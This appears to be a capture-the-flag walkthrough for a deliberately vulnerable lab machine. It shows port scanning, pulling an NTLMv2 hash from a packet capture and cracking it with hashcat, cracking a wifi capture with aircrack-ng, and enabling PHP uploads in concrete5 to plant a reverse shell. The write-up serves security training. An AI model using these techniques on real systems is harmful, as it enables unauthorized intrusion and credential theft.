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General Uvilix:

Good Morning! Our intel tells us that he has returned. Super-spam, the evil alien villain from the planet Alpha Solaris IV from the outer reaches of the Andromeda Galaxy. He is a most wanted notorious cosmos hacker who has made it his lifetime mission to attack every Linux server possible on his journey to a Linux-free galaxy. As an avid Windows proponent, Super-spam has now arrived on Earth and has managed to hack into OUR Linux machine in pursuit of his ultimate goal. We must regain control of our server before it’s too late! Find a way to hack back in to discover his next evil plan for total Windows domination! Beware, super-spam’s evil powers are to confuse and deter his victims.

Credits: ARZ101, DrXploiter, Aksheet, kiwiness, wraith0p




80/tcp open http
4012/tcp open pda-gate
4019/tcp open talarian-mcast5
5901/tcp open vnc-1
6001/tcp open X11:1
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: concrete5 - 8.5.2
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Home :: Super-Spam
4012/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:60:04:c0:a5:36:46:67:f5:c7:24:0f:df:d0:03:14 (RSA)
| 256 ce:d2:f6:ab:69:7f:aa:31:f5:49:70:e5:8f:62:b0:b7 (ECDSA)
|_ 256 73:a0:a1:97:c4:33:fb:f4:4a:5c:77:f6:ac:95:76:ac (ED25519)
4019/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Feb 20 14:42 IDS_logs
|_-rw-r--r-- 1 ftp ftp 526 Feb 20 13:53 note.txt
| ftp-syst:
| FTP server status:
| Connected to ::ffff:
| Logged in as ftp
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
5901/tcp open vnc VNC (protocol 3.8)
| vnc-info:
| Protocol version: 3.8
| Security types:
| VNC Authentication (2)
| Tight (16)
| Tight auth subtypes:
6001/tcp open X11 (access denied)


ftp IP 4019 
anonymous login

Looking in the ftp server we find a note and some files to inspect with wireshark, Let’s get the files on our box to investigate further.

wget -r ftp://anonymous:@IP:4019/


12th January: Note to self. Our IDS seems to be experiencing high volumes of unusual activity.
We need to contact our security consultants as soon as possible. I fear something bad is going
to happen. -adam
13th January: We've included the wireshark files to log all of the unusual activity. It keeps
occuring during midnight. I am not sure why.. This is very odd... -adam
15th January: I could swear I created a new blog just yesterday. For some reason it is gone... -adam24th January: Of course it is... - super-spam :)

pcap files

Opening the files in wireshark didn’t show much at first apart from what looked to be a crsf test and a smb login. I didn’t know how to get the smb login information so googled until I found this helpful article:

14–01.-21.pcap — this file had the sessions login details inside (NTLMv2)


  1. Filter by ntlmssp to get the authentication handshake
  2. Find the NTLMSSP_AUTH packet

3. Copy the domain name and user name to a text file

4. In NTLM Response section, find NTProofStr and NTLMv2 response, copy both of these as hex stream

Domain name: 3BUser name: lgreenServerChallange: a2cce5d65c5fc02fNTProofStr: 73aeb418ae0e8a9ec167c4d0880cfe22NTLMv2 Response: 73aeb418ae0e8a9ec167c4d0880cfe22010100000000000049143c43a261d6012ce41adf31a1363c00000000020004003300420001001e003000310035003600360053002d00570049004e00310036002d004900520004001e0074006800720065006500620065006500730063006f002e0063006f006d0003003e003000310035003600360073002d00770069006e00310036002d00690072002e0074006800720065006500620065006500730063006f002e0063006f006d0005001e0074006800720065006500620065006500730063006f002e0063006f006d000700080049143c43a261d60106000400020000000800300030000000000000000100000000200000fc849ef6b042cb4e368a3cbbd2362b5ccc39324c75df3415b6166d7489ad1d2b0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e00360036002e0033003600000000000000000000000000
  • Notice that NTLMv2Response begins with the ntlmProofStr, delete the ntlmProofStr from the NTLMv2Response

5. Enter ntlmssp.ntlmserverchallenge into the search filter. Copy this value to the text document as a Hex stream

6. Put the values in the following format and save as hash.txt

  • username::domain:ServerChallange:NTproofstring:modifiedntlmv2response
  • lgreen::3B:a2cce5d65c5fc02f:73aeb418ae0e8a9ec167c4d0880cfe22:010100000000000049143c43a261d6012ce41adf31a1363c00000000020004003300420001001e003000310035003600360053002d00570049004e00310036002d004900520004001e0074006800720065006500620065006500730063006f002e0063006f006d0003003e003000310035003600360073002d00770069006e00310036002d00690072002e0074006800720065006500620065006500730063006f002e0063006f006d0005001e0074006800720065006500620065006500730063006f002e0063006f006d000700080049143c43a261d60106000400020000000800300030000000000000000100000000200000fc849ef6b042cb4e368a3cbbd2362b5ccc39324c75df3415b6166d7489ad1d2b0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e00360036002e0033003600000000000000000000000000

7. Time to crack the password!

  • hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -O

Now we have a username and password. Let's see where we can use them too. (nowhere it seems)


.cap/ .quicknote

SamsNetework.cap This file seems to hold attack data from a wifi attack. Let’s see if we can brute it.

aircrack-ng SamsNetwork.cap -w /usr/share/wordlists/rockyou.txt

Webapp (concrete5)

home page

login page

Users found.


Website login


Loggin in shows a website error

Changing the URL we can see the full dashboard. #take welcome of the end

Goto allowed file types and edit to include php

Then in Files upload a PHP reverse shell and then catch the shell with a netcat listener

Now you can get the user.flag in /home/personal/Work/flag.txt

Donald (user 1)

Looking around the system, we can see the user lucy has some interesting files in her home directory.


Note to self. General super spam mentioned that I should not make the same mistake again of re-using the same key for the XOR encryption of our messages to Alpha Solaris IV's headquarters, otherwise we could have some serious issues if our encrypted messages are compromised. I must keep reminding myself,do not re-use keys,I have done it 8 times already!.The most important messages we sent to the HQ were the first and eighth message.I hope they arrived safely.They are crucial to our end goal.

In the image, you can just see the password without needing to reverse the xor routine.

ssh donalddump@ -p 4012 
Hint: Starts $$


Logging back in as donald we need to edit the permission on his home folder to access it.

chmod 777 donalddump
cd donalddump

The passwd file is a vncviewer password. Let’s use it!

vncviewer -passwd passwd
echo MZWGCZ33NF2<REDACTED>4WTMTS7PU======|base64 -dGives the final flag!!
This is not over! You may have saved your beloved planet this time, Hacker-man, but I will be back with a bigger, more dastardly plan to get rid of that



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